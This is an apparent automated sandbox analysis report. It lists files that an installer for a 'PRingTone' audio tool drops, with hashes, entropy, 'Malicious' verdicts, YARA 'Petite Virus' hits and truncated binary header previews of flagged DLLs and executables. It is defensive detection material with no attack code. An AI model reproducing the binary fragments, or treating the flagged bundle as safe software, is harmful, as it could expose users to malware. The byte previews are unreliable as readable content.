Entropy (8bit):	7.81689943223162
Encrypted:	false
SSDEEP:	768:mYBs3O9YL558R6R8P8W2rjQZQtfTIxRYsetoPNvPWIl+syr:vsUY15mqzW2u8rIxisFcJr
MD5:	EA245B00B9D27EF2BD96548A50A9CC2C
SHA1:	8463FDCDD5CED10C519EE0B406408AE55368E094
SHA-256:	4824A06B819CBE49C485D68A9802D9DAE3E3C54D4C2D8B706C8A87B56CEEFBF3
SHA-512:	EF1E107571402925AB5B1D9B096D7CEFF39C1245A23692A3976164D0DE0314F726CCA0CB10246FE58A13618FD5629A92025628373B3264153FC1D79B0415D9A7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ph..4...4...4.......0...[...0...[...6...4.......V...0...`*..........5....)......Rich4...........................PE..L.....T...........!................6 .......................................0......................................D#..y....!..d.......X............................................................................................................................z..................`....rsrc...........X...................@..@....................................`...petite....... ......................`...................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-U7E66.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	22542
Entropy (8bit):	5.5875455203930615
Encrypted:	false
SSDEEP:	384:RKAPwPQJgZd3rw0bGMtyz1fiaqmjj1nFY4j70UotV9mRyK:YPQJgZZwUGH1fJljj1+D18
MD5:	E1C0147422B8C4DB4FC4C1AD6DD1B6EE
SHA1:	4D10C5AD96756CBC530F3C35ADCD9E4B3F467CFA
SHA-256:	124F210C04C12D8C6E4224E257D934838567D587E5ABAEA967CBD5F088677049
SHA-512:	A163122DFFE729E6F1CA6EB756A776F6F01A784A488E2ACCE63AEAFA14668E8B1148BE948EB4AF4CA8C5980E85E681960B8A43C94B95DFFC72FCCEE1E170BD9A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........X...............,...T...............@....@.......................................... .................................@...........................................................PU..........................P............................text....+.......,..................`.P`.data........@.......0..............@.`..rdata..0....P.......2..............@.0@/4...........`.......<..............@.0@.bss.........p........................`..idata..@............J..............@.0..CRT....4............T..............@.0..tls.................V..............@.0.................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-UQIIU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	127669
Entropy (8bit):	7.952352167575405
Encrypted:	false
SSDEEP:	3072:kdGUCKL7Wn/OzU2ThapTv773+HMnBasgGlBM:dn/mU8K/3EgNgoM
MD5:	75C1D7A3BDF1A309C540B998901A35A7
SHA1:	B06FEEAC73D496C435C66B9B7FF7514CBE768D84
SHA-256:	6303F205127C3B16D9CF1BDF4617C96109A03C5F2669341FBC0E1D37CD776B29
SHA-512:	8D2BBB7A7AD34529117C8D5A122F4DAF38EA684AACD09D5AD0051FA41264F91FD5D86679A57913E5ADA917F94A5EF693C39EBD8B465D7E69EF5D53EF941AD2EE
Malicious:	false
Yara Hits:	Rule: JoeSecurity_PetiteVirus, Description: Yara detected Petite Virus, Source: C:\Program Files (x86)\PRingTone\bin\x86\is-UQIIU.tmp, Author: Joe Security
Preview:	MZ......................@...................................D.... ..PE..L....O?\...........!.................`.......................................p............@..........................b.......a.......0..@...........................................................................<b..H.................................... ..........................@..@.rsrc........0......................@..@......... ...@.........................@petite.......`......................`..`..........................................fE...nj.:<...n...1..}..r..". .S(...#!............7..5.Q..0..}.. .....^y...U...@..3.........&.lp(.pt.a......!..`@C.O3G7..."\..w.1u.$4..1h...M...K6.L...L..~.w...b2x-.......9k".....".V\............o..................qO&.......4(."0.Zy....2..Y..Z..:2.XM..D....a&..&.L,......./+......c<...^.2.x0..H.618....Q.Q.5.%...Z1.I.......a...q-}.0..D....o.!.....O.......B....# O.!....cY5.#...n.`..1...r!.)].:...m.f.....x....N"t.j..l.....:/...,.v........8F.N...X..j.R......"...&...

C:\Program Files (x86)\PRingTone\bin\x86\is-V7V6O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	512014
Entropy (8bit):	6.566561154468342
Encrypted:	false
SSDEEP:	12288:BNKab1bu1dEpBZvkO4KTYnyA0bFHmufLKNs3gv:rKcozEpbvkOCyA0xGufLKau
MD5:	C4A2068C59597175CD1A29F3E7F31BC1
SHA1:	89DE0169028E2BDD5F87A51E2251F7364981044D
SHA-256:	7AE79F834A4B875A14D63A0DB356EEC1D356F8E64FF9964E458D1C2050E5D180
SHA-512:	0989EA9E0EFADF1F6C31E7FC243371BB92BFD1446CF62798DCA38A021FAD8B6ADB0AEABDFBDC5CE8B71FE920E341FC8AB4E906B1839C6E469C75D8148A74A08A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P/.d...........#...(.l.........................n.........................P............@... ..........................:........... .......................0..L...........................d...........................P............................text....k.......l..................`..`.data................p..............@....rdata...t.......v...r..............@..@/4......L...........................@..@.bss....X................................edata...:.......<...j..............@..@.idata..............................@....CRT....,...........................@....tls................................@....rsrc........ ......................@....reloc..L....0......................@..B........................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-VBAIR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	149845
Entropy (8bit):	7.893881970959476
Encrypted:	false
SSDEEP:	3072:y0z4JQHu5EvSA/JqiK2s6g+hUCQiMVQ623hi3JKz8KQP6ZwhQrNrbZ:yUju5GY7l+CCYVQ62YUzXQiqhQrJbZ
MD5:	526E02E9EB8953655EB293D8BAC59C8F
SHA1:	7CA6025602681EF6EFDEE21CD11165A4A70AA6FE
SHA-256:	E2175E48A93B2A7FA25ACC6879F3676E04A0C11BB8CDFD8D305E35FD9B5BBBB4
SHA-512:	053EB66D17E5652A12D5F7FAF03F02F35D1E18146EE38308E39838647F91517F8A9DC0B7A7748225F2F48B8F0347B0A33215D7983E85FCA55EF8679564471F0B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PetiteVirus, Description: Yara detected Petite Virus, Source: C:\Program Files (x86)\PRingTone\bin\x86\is-VBAIR.tmp, Author: Joe Security
Preview:	MZ......................@...................................D.... ..PE..L....r.[...........!....U....D............... ............................... ............@.........................P...........d............................N..........................................................8............................................@..................@..@.rsrc................B..............@..@.......................................@petite..U.......U....F..............`..`.....................................5....`K...=1.;;..s}....3500.z.<..]goR.lVO..C..j...........O......9#f.S.$1.b.D.8...VX....sb .A.%I......B.........R...Z5.............y......_W.0.!..T..nT.V..J..s.1`..V...Cb.2x0......0B...4...D.`...!.>[7..^;w'.u"W/...).P.m...P.......qF<.~1..T.>F.F.Rr.`...N....3$...w.L..P..SQP]C^.....2...%5.v...3.a`.k....q.0.o..A......k.....B..P.h.fy..jyb...<t$.%c-...<9.1#2.7./0.j.o#~...,!fuJ.M..a...(...0@.........,..t.3d"qva....fm.=.....]....s...z}-X..3................y>.!......g..E

C:\Program Files (x86)\PRingTone\bin\x86\lame_enc.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	967168
Entropy (8bit):	6.500850562754145
Encrypted:	false
SSDEEP:	12288:j2ezAN6FpYQSzclODziLQEkkDHFb1aWGssVvVmPUwV+SiRm7rhj:jhAgFptPlqmPDHJ1apVdYUy+jRmX
MD5:	C06D6F4DABD9E8BBDECFC5D61B43A8A9
SHA1:	16D9F4F035835AFE8F694AE5529F95E4C3C78526
SHA-256:	665D47597146DDAAA44B771787B750D3CD82C5B5C0B33CA38F093F298326C9BB
SHA-512:	B0EBE9E2682A603C34F2B884121FA5D2D87ED3891990CCD91CD14005B28FE208A3B86FA20E182F9E7FC5142A267C8225AEFDCB23CF5B7556D2CF8F9E3BDE62D4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.~..m...m...m......m.....m......m.......m..)3...m..)3...m..)3...m.......m...m..rm...m..m..3...m..3...m..3...m..Rich.m..........................PE..L...8..^...........!.........&.......`....................................................@..........................4.......G..<...............................HR..P+..T............................+..@...............D............................text............................... ..`.rdata..............................@..@.data........P...$...D..............@....trace.......`.......h..............@..@.gfids...............~..............@..@_RDATA..@...........................@..@.debug_o............................@..B.rsrc................l..............@..@.reloc..HR.......T...n..............@..B................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\lessmsi\is-9CFDL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	506871
Entropy (8bit):	7.998074018431883
Encrypted:	true
SSDEEP:	12288:VCtY2iynJj4iqp1WjsxlD71zFusqzKZXGky4H2po:V+Y1y7qp0oxF7T3ZXGky4Wq
MD5:	D52F8AE89AC65F755C28A95C274C1FFE
SHA1:	50D581469FF0648EE628A027396F39598995D8B0
SHA-256:	2F9A9DFD0C0B0CFAF9C700B4659A4F2F3D11368E6C30A3FA0F93ECDD3B4D2E66
SHA-512:	B7B585EED261C262499C73688DFD985818F7869319285168AEEAC1F2CF5FAD487280FCAE1DAC633296E5DB0E0BC454495A09A90C2E37A7E7AF07EF93563503C6
Malicious:	false
Preview:	PK...........N..UD...."....$.AddWindowsExplorerShortcut.exe.. ..........p.../..L..../..L..../...Ykl...>3..f...6I..!7..qL.......Y;...M.HJ\....z....Y?R.B+P...."......US.R.SB....i.....T.R.......3./;/..Q.].{....:s=t.c....\|>...%....v:.Ot.....7.....il.rY^..4r.4.Gxl.3Yp...Q....X.".%......B......q..]k..7ae.O.....;..u.n....b..<............ w,.L'O.&...^.OJ...WT.X?RQOx\|...}MA.n.].q:!]iB`....\|VW.!.@Br[...N.Xl....f....GH..~..h.......:zZ..'. ..n..._.......Gw../.X...t$$...Z.7...&X...[V.e..p..&z..-Wj.r...ku...VKg.t.5.......,.[.,G........w...}...6.rD.EN.#..uu...kb..5"..gL.>.....D.....N..!...1.o..j..tD.!....H.X......a...._Fw..SQ~u{...4.to..7a.rrkT[.F.......nkV.....Sqc..f..gW..9Y.'.....L....U....\'=$...h...a...y...).?......Z......Z.l....+.b...O...h^.._..k......l._Q..m....w..s.eGm.=.nP..v57....H.U..6hQ~98z.A.'.z..H&...=.R.6..B'l...h...l....d]%./....<>....~....@..=....7...T0..J;.J....o.[.O....P.....'.k.......:.i.Bu.)...P#......^.....Jy.(o..:.?.......]./........

C:\Program Files (x86)\PRingTone\bin\x86\lessmsi\lessmsi-v1.6.91.zip (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	506871
Entropy (8bit):	7.998074018431883
Encrypted:	true
SSDEEP:	12288:VCtY2iynJj4iqp1WjsxlD71zFusqzKZXGky4H2po:V+Y1y7qp0oxF7T3ZXGky4Wq
MD5:	D52F8AE89AC65F755C28A95C274C1FFE
SHA1:	50D581469FF0648EE628A027396F39598995D8B0
SHA-256:	2F9A9DFD0C0B0CFAF9C700B4659A4F2F3D11368E6C30A3FA0F93ECDD3B4D2E66
SHA-512:	B7B585EED261C262499C73688DFD985818F7869319285168AEEAC1F2CF5FAD487280FCAE1DAC633296E5DB0E0BC454495A09A90C2E37A7E7AF07EF93563503C6
Malicious:	false
Preview:	PK...........N..UD...."....$.AddWindowsExplorerShortcut.exe.. ..........p.../..L..../..L..../...Ykl...>3..f...6I..!7..qL.......Y;...M.HJ\....z....Y?R.B+P...."......US.R.SB....i.....T.R.......3./;/..Q.].{....:s=t.c....\|>...%....v:.Ot.....7.....il.rY^..4r.4.Gxl.3Yp...Q....X.".%......B......q..]k..7ae.O.....;..u.n....b..<............ w,.L'O.&...^.OJ...WT.X?RQOx\|...}MA.n.].q:!]iB`....\|VW.!.@Br[...N.Xl....f....GH..~..h.......:zZ..'. ..n..._.......Gw../.X...t$$...Z.7...&X...[V.e..p..&z..-Wj.r...ku...VKg.t.5.......,.[.,G........w...}...6.rD.EN.#..uu...kb..5"..gL.>.....D.....N..!...1.o..j..tD.!....H.X......a...._Fw..SQ~u{...4.to..7a.rrkT[.F.......nkV.....Sqc..f..gW..9Y.'.....L....U....\'=$...h...a...y...).?......Z......Z.l....+.b...O...h^.._..k......l._Q..m....w..s.eGm.=.nP..v57....H.U..6hQ~98z.A.'.z..H&...=.R.6..B'l...h...l....d]%./....<>....~....@..=....7...T0..J;.J....o.[.O....P.....'.k.......:.i.Bu.)...P#......^.....Jy.(o..:.?.......]./........

C:\Program Files (x86)\PRingTone\bin\x86\libFLAC_dynamic.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	512014
Entropy (8bit):	6.566561154468342
Encrypted:	false
SSDEEP:	12288:BNKab1bu1dEpBZvkO4KTYnyA0bFHmufLKNs3gv:rKcozEpbvkOCyA0xGufLKau
MD5:	C4A2068C59597175CD1A29F3E7F31BC1
SHA1:	89DE0169028E2BDD5F87A51E2251F7364981044D
SHA-256:	7AE79F834A4B875A14D63A0DB356EEC1D356F8E64FF9964E458D1C2050E5D180
SHA-512:	0989EA9E0EFADF1F6C31E7FC243371BB92BFD1446CF62798DCA38A021FAD8B6ADB0AEABDFBDC5CE8B71FE920E341FC8AB4E906B1839C6E469C75D8148A74A08A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P/.d...........#...(.l.........................n.........................P............@... ..........................:........... .......................0..L...........................d...........................P............................text....k.......l..................`..`.data................p..............@....rdata...t.......v...r..............@..@/4......L...........................@..@.bss....X................................edata...:.......<...j..............@..@.idata..............................@....CRT....,...........................@....tls................................@....rsrc........ ......................@....reloc..L....0......................@..B........................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\libdtsdec.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	126478
Entropy (8bit):	6.268811819718352
Encrypted:	false
SSDEEP:	3072:UnNKg6JaJUeHjiaphKMLrn8uexz3TmBUg6xcE:UNcJGGehKMLJBUg6x
MD5:	6E93C9C8AADA15890073E74ED8D400C9
SHA1:	94757DBD181346C7933694EA7D217B2B7977CC5F
SHA-256:	B6E2FA50E0BE319104B05D6A754FE38991E6E1C476951CEE3C7EBDA0DC785E02
SHA-512:	A9F71F91961C75BB32871B1EFC58AF1E1710BDE1E39E7958AE9BB2A174E84E0DD32EBAAB9F5AE37275651297D8175EFA0B3379567E0EB0272423B604B4510852
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#.....^...................p.....m.........................p......f......... .........................{.... ...............................P..............................X........................!...............................text....\.......^..................`.P`.data........p.......b..............@.`..rdata..h&.......(...d..............@.`@/4......\B.......D..................@.0@.bss..................................`..edata..{...........................@.0@.idata....... ......................@.0..CRT....,....0......................@.0..tls.........@......................@.0..reloc.......P......................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\libmp4v2.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	845312
Entropy (8bit):	6.581151900686739
Encrypted:	false
SSDEEP:	24576:PgQ5Lxf4qcB5SdtFJPAYiXbJ1luVw6DbhJLJbCKShfCtk/8ou/UvfK7hs4I:H5Ng9zK5Puq7hsN
MD5:	00C672988C2B0A2CB818F4D382C1BE5D
SHA1:	57121C4852B36746146B10B5B97B5A76628F385F
SHA-256:	4E9F3E74E984B1C6E4696717AE36396E7504466419D8E4323AF3A89DE2E2B784
SHA-512:	C36CAE5057A4D904EBDB5495E086B8429E99116ACBE7D0F09FB66491F57A7FC44232448208044597316A53C7163E18C2F93336B37B302204C8AF6C8F1A9C8353
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2...va.va.va.b..fa.b...a.b..`a.$..ya.$..`a.$..1a.b..ua.va.*a. ...a. ..wa. ...wa.vat.wa. ..wa.Richva.................PE..L......c...........!.................F.......0............................... ......u.....@.......................... ...q..t...(....P.......................`..p.......T...........................8...@............0..D............................text............................... ..`.rdata...i...0...j..................@..@.data...............................@....rsrc........P.......(..............@..@.reloc..p....`......................@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\libsox-3.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	648384
Entropy (8bit):	6.666474522542094
Encrypted:	false
SSDEEP:	12288:gAQxmcOwzIYhoz/eZz4gOIwEODAAwnq6Nql1:gvmfAI6oz/uOIyDAAwDNql1
MD5:	CE7DE939D74321A7D0E9BDF534B89AB9
SHA1:	56082B4E09A543562297E098A36AADC3338DEEC5
SHA-256:	A9DC70ABB4B59989C63B91755BA6177C491F6B4FE8D0BFBDF21A4CCF431BC939
SHA-512:	03C366506481B70E8BF6554727956E0340D27CB2853609D6210472AEDF4B3180C52AAD9152BC2CCCBA005723F5B2E3B5A19D0DCE8B8D1E0897F894A4BFEEFE55
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...".t.........................g.........................0................ ..........................................................,.......=..........................,=.......................................................text....r.......t..................`.P`.data............ ...x..............@.`..rdata..L...........................@.`@/4...................\..............@.0@.bss..................................`..edata...............`..............@.0@.idata...............j..............@.0..CRT....,............v..............@.0..tls.................x..............@.0..reloc...=.......>...z..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\libsoxr.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	227328
Entropy (8bit):	6.641153481093122
Encrypted:	false
SSDEEP:	6144:jtJXnqDMJgH50aKyumLCGTrS4ifbjoO88k:KqgHlKyumLCGTrS4inoZ
MD5:	BC824DC1D1417DE0A0E47A30A51428FD
SHA1:	C909C48C625488508026C57D1ED75A4AE6A7F9DB
SHA-256:	A87AA800F996902F06C735EA44F4F1E47F03274FE714A193C9E13C5D47230FAB
SHA-512:	566B5D5DDEA920A31E0FB9E048E28EF2AC149EF075DB44542A46671380F904427AC9A6F59FBC09FE3A4FBB2994F3CAEEE65452FE55804E403CEABC091FFAF670
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...e>.a...........#.........t...V.................e.........................@......1......... .........................#....................................0...............................).......................................................text...............................`.P`.data...............................@.`..rdata..d0.......2..................@.`@.eh_framd@...@...B..................@.0@.bss.....T............................`..edata..#............T..............@.0@.idata...............^..............@.0..CRT....,............d..............@.0..tls......... .......f..............@.0..reloc.......0.......h..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\libvorbis.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	867854
Entropy (8bit):	4.9264497464202694
Encrypted:	false
SSDEEP:	12288:p3y+OSQJZyHHiz8ElQxPpspcQrRclB7OIlJiIoP:xSXyniz1lQxPpspcQrRcLZJi/
MD5:	B476CA59D61F11B7C0707A5CF3FE6E89
SHA1:	1A1E7C291F963C12C9B46E8ED692104C51389E69
SHA-256:	AD65033C0D90C3A283C09C4DB6E2A29EF21BAE59C9A0926820D04EEBBF0BAF6D
SHA-512:	D5415AC7616F888DD22560951E90C8A77D5DD355748FDCC3114CAA16E75EB1D65C43696C6AECD2D9FAF8C2D32D5A3EF7A6B8CB6F2C4747C2A82132D29C9ECBFE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........>.........#.........:....................Xd................................l6........ ......................@..b....P..p..........................................................L.......................0Q...............................text...D...........................`.P`.data...x...........................@.P..rdata...%.......&..................@.`@/4.......K.......L..................@.0@.bss.........0........................`..edata..b....@......................@.0@.idata..p....P......................@.0..CRT....,....`......................@.0..tls.........p......................@.0..reloc..........,..................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\libwebp.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	394752
Entropy (8bit):	6.662070316214798
Encrypted:	false
SSDEEP:	6144:uAlmRfeS+mOxv8bgDTuXU54l8WybBE36IpuIT9nxQPQnhH/a0CRdWqWJwGKp:zlm0S+SEuXU54NylJIJ9KPQnhilRsVJ
MD5:	A4123DE65270C91849FFEB8515A864C4
SHA1:	93971C6BB25F3F4D54D4DF6C0C002199A2F84525
SHA-256:	43A9928D6604BF604E43C2E1BAB30AE1654B3C26E66475F9488A95D89A4E6113
SHA-512:	D0834F7DB31ABA8AA9D97479938DA2D4CD945F76DC2203D60D24C75D29D36E635C2B0D97425027C4DEBA558B8A41A77E288F73263FA9ABC12C54E93510E3D384
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......KL...-d..-d..-d..U...-d..Be..-d.TEe..-d..-e.:-d..Ba..-d..B`..-d..Bg..-d..B`.c-d..Bd..-d..B...-d..Bf..-d.Rich.-d.........................PE..L.....b`...........!.....L..........+S.......`...............................P............@.................................L........... .................... ..\ ..$...............................@...@............`...............................text...NK.......L.................. ..`.rdata......`.......P..............@..@.data...............................@....rsrc... ...........................@..@.reloc..\ ... ..."..................@..B................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\libwinpthread-1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	68042
Entropy (8bit):	6.090396152400884
Encrypted:	false
SSDEEP:	768:RX3HAdi7wgCsL6dVSngk2IFm3ZJVRDBLRROBBKRzPm3YRiF+ixh:NHQpe6SnZQLjICPm3Ytib
MD5:	5DDA5D34AC6AA5691031FD4241538C82
SHA1:	22788C2EBE5D50FF36345EA0CB16035FABAB8A6C
SHA-256:	DE1A9DD251E29718176F675455592BC1904086B9235A89E6263A3085DDDCBB63
SHA-512:	08385DE11A0943A6F05AC3F8F1E309E1799D28EA50BF1CA6CEB01E128C0CD7518A64E55E8B56A4B8EF9DB3ECD2DE33D39779DCA1FBF21DE735E489A09159A1FD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........V......#...&...........................d......................................@... ..............................0..t....`..P....................p.......................................................1..H............................text...d...........................`..`.data...L...........................@....rdata..\...........................@..@/4.......2.......4..................@..@.bss.....................................edata..............................@..@.idata..t....0......................@....CRT....0....@......................@....tls.........P......................@....rsrc...P....`......................@....reloc.......p......................@..B........................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\mp3gain.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	123406
Entropy (8bit):	6.263889638223575
Encrypted:	false
SSDEEP:	1536:hnPkU1t2P2hHV5JG1YBBAUBEd8+poyez9djcx2/8s6UJqfxX+1XOAhbKzb3+d:xPu21IYyCTToE6c+6e+d
MD5:	B49ECFA819479C3DCD97FAE2A8AB6EC6
SHA1:	1B8D47D4125028BBB025AAFCA1759DEB3FC0C298
SHA-256:	B9D5317E10E49AA9AD8AD738EEBE9ACD360CC5B20E2617E5C0C43740B95FC0F2
SHA-512:	18617E57A76EFF6D95A1ED735CE8D5B752F1FB550045FBBEDAC4E8E67062ACD7845ADC6FBE62238C383CED5E01D7AA4AB8F968DC442B67D62D2ED712DB67DC13
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................R.......d>..........p....@...........................@......^........ ...............................@.4...................................................................................\|.@.@............................text....Q.......R..................`.P`.data...\....p.......V..............@.@..rdata...a.......b...X..............@.`@/4..................................@.0@.bss.....c>...........................`..idata..4.....@.....................@.0..CRT....4.....@.....................@.0..tls..........@.....................@.0.................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\opusenc.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	562190
Entropy (8bit):	6.388293171196564
Encrypted:	false
SSDEEP:	12288:uCtwsqIfrUmUBrusLdVAjA1ATAtuQ8T2Q8TOksqHOuCHWoEuEc4XEmEVEEAcIHAj:uqiIoYmOuNNQ1zU/xGl
MD5:	713D04E7396D3A4EFF6BF8BA8B9CB2CD
SHA1:	D824F373C219B33988CFA3D4A53E7C2BFA096870
SHA-256:	00FB8E819FFDD2C246F0E6C8C3767A08E704812C6443C8D657DFB388AEB27CF9
SHA-512:	30311238EF1EE3B97DF92084323A54764D79DED62BFEB12757F4C14F709EB2DBDF6625C260FB47DA2D600E015750394AA914FC0CC40978BA494D860710F9DC40
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Rd...............(..........................@.......................................@... .................................H...........................................................D...........................l............................text...T...........................`..`.data...X...........................@....rdata..H...........................@..@/4......P...........................@..@.bss....t................................idata..H............d..............@....CRT....0............n..............@....tls.................p..............@....rsrc................r..............@....reloc...............x..............@..B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\pcm2dsd.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	22542
Entropy (8bit):	5.5875455203930615
Encrypted:	false
SSDEEP:	384:RKAPwPQJgZd3rw0bGMtyz1fiaqmjj1nFY4j70UotV9mRyK:YPQJgZZwUGH1fJljj1+D18
MD5:	E1C0147422B8C4DB4FC4C1AD6DD1B6EE
SHA1:	4D10C5AD96756CBC530F3C35ADCD9E4B3F467CFA
SHA-256:	124F210C04C12D8C6E4224E257D934838567D587E5ABAEA967CBD5F088677049
SHA-512:	A163122DFFE729E6F1CA6EB756A776F6F01A784A488E2ACCE63AEAFA14668E8B1148BE948EB4AF4CA8C5980E85E681960B8A43C94B95DFFC72FCCEE1E170BD9A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........X...............,...T...............@....@.......................................... .................................@...........................................................PU..........................P............................text....+.......,..................`.P`.data........@.......0..............@.`..rdata..0....P.......2..............@.0@/4...........`.......<..............@.0@.bss.........p........................`..idata..@............J..............@.0..CRT....4............T..............@.0..tls.................V..............@.0.................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\plugins\internal\is-91Q5O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	15374
Entropy (8bit):	5.25938266470983
Encrypted:	false
SSDEEP:	192:l0HhuwYqkoiCBJRgcsZQPCkWa/HI77wbcRODYCpes2n13dwczbUwS7RE8SD:lqhoqkVCXWgI77B0hGnLwczbUwSC8g
MD5:	228EE3AFDCC5F75244C0E25050A346CB
SHA1:	822B7674D1B7B091C1478ADD2F88E0892542516F
SHA-256:	7ACD537F3BE069C7813DA55D6BC27C3A933DF2CF07D29B4120A8DF0C26D26561
SHA-512:	7DFA06B9775A176A9893E362B08DA7F2255037DC99FB6BE53020ECD4841C7E873C03BAC11D14914EFDFE84EFEB3FB99745566BB39784962365BEEBDB89A4531B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........<.........#.........8...............0....Xj.......................................... ......................p......................................................................P@......................................................text...$...........................`.P`.data...,....0......................@.0..rdata.......@....... ..............@.0@/4...........P......."..............@.0@.bss.........`........................`..edata.......p......................@.0@.idata...............0..............@.0..CRT....,............6..............@.0..tls.................8..............@.0..reloc...............:..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\plugins\internal\is-U5C20.tmp

Download File

